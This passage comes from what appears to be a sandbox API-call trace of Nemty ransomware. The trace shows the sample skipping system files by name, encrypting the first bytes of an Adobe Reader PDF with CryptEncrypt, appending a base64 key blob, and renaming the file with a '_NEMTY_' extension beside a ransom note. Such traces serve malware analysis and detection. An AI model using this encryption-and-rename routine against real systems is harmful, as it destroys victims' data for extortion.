dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0189.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.001] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24f7f, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2=".") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="..") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="...") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="windows") returned -1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="rsa") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="NTDETECT.COM") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntldr") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="MSDOS.SYS") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="IO.SYS") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="boot.ini") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="ntuser.dat") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="desktop.ini") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="CONFIG.SYS") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="RECYCLER") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="bootmgr") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="programdata") returned 1 [0189.001] lstrcmpiW (lpString1="StandardBusiness.pdf", lpString2="appdata") returned 1 [0189.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0189.001] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0189.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0189.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.002] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0189.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404a8 [0189.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0189.002] Sleep (dwMilliseconds=0x5) [0189.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x244dd830, dwHighDateTime=0x1d561e8)) [0189.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x244dd830, dwHighDateTime=0x1d561e8)) [0189.008] GetLastError () returned 0x0 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.008] GetLastError () returned 0x0 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0189.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.008] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.008] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.008] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440c0 [0189.008] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440c0, pcchString=0x653df5c | out: pszString="GFy1+IU77x+GUROiEsNg8FxtVf136y7GiCd4SzWbW4DZeHKhlgXriJoWdqYNxgUC\r\n6DTgOQN4E61UWHXbE52o6nrJ9pg/yhj5uedFsLmoz03x7W3Ybpz4nEfVHsg/1r/l\r\nq+T5eWWErARwXuJjJ8zjg3JESHguEFx62hWDMifAsFZGjTMTFVzUlXD1BlN/PQK+\r\nCEuiiMcH7hHoASSy5PNoQsPq0zPy6/7las7+XMK/HoILUDdZnMII6sOX2szgwVxg\r\nxKr5TpXMkNNFEDkYpBUk941jsglhhJZgdUSZ1We5sxM3qRru7XzEFSP5/4lmb8Ee\r\n+yNptY4/TPcCkLj838MAGw==\r\n", pcchString=0x653df5c) returned 1 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440c0 [0189.008] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.008] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0189.009] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=151423) returned 1 [0189.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0189.009] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.009] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0189.017] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.017] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0189.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.018] SetFilePointer (in: hFile=0x320, lDistanceToMove=151423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24f7f [0189.018] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.018] CloseHandle (hObject=0x320) returned 1 [0189.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.018] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.018] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.018] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.019] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.019] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2441f150, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2441f150, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x244452b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.019] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.020] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.020] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.020] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2441f150, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x2441f150, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x244452b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.021] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.021] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="NLD", cAlternateFileName="")) returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2=".") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="..") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="...") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="windows") returned -1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="$RECYCLE.BIN") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="rsa") returned -1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="NTDETECT.COM") returned -1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="ntldr") returned -1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="MSDOS.SYS") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="IO.SYS") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="boot.ini") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="boot.ini") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="AUTOEXEC.BAT") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="ntuser.dat") returned -1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="desktop.ini") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="CONFIG.SYS") returned 1 [0189.021] lstrcmpiW (lpString1="NLD", lpString2="RECYCLER") returned -1 [0189.022] lstrcmpiW (lpString1="NLD", lpString2="BOOTSECT.BAK") returned 1 [0189.022] lstrcmpiW (lpString1="NLD", lpString2="bootmgr") returned 1 [0189.022] lstrcmpiW (lpString1="NLD", lpString2="programdata") returned -1 [0189.022] lstrcmpiW (lpString1="NLD", lpString2="appdata") returned 1 [0189.022] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NLD", 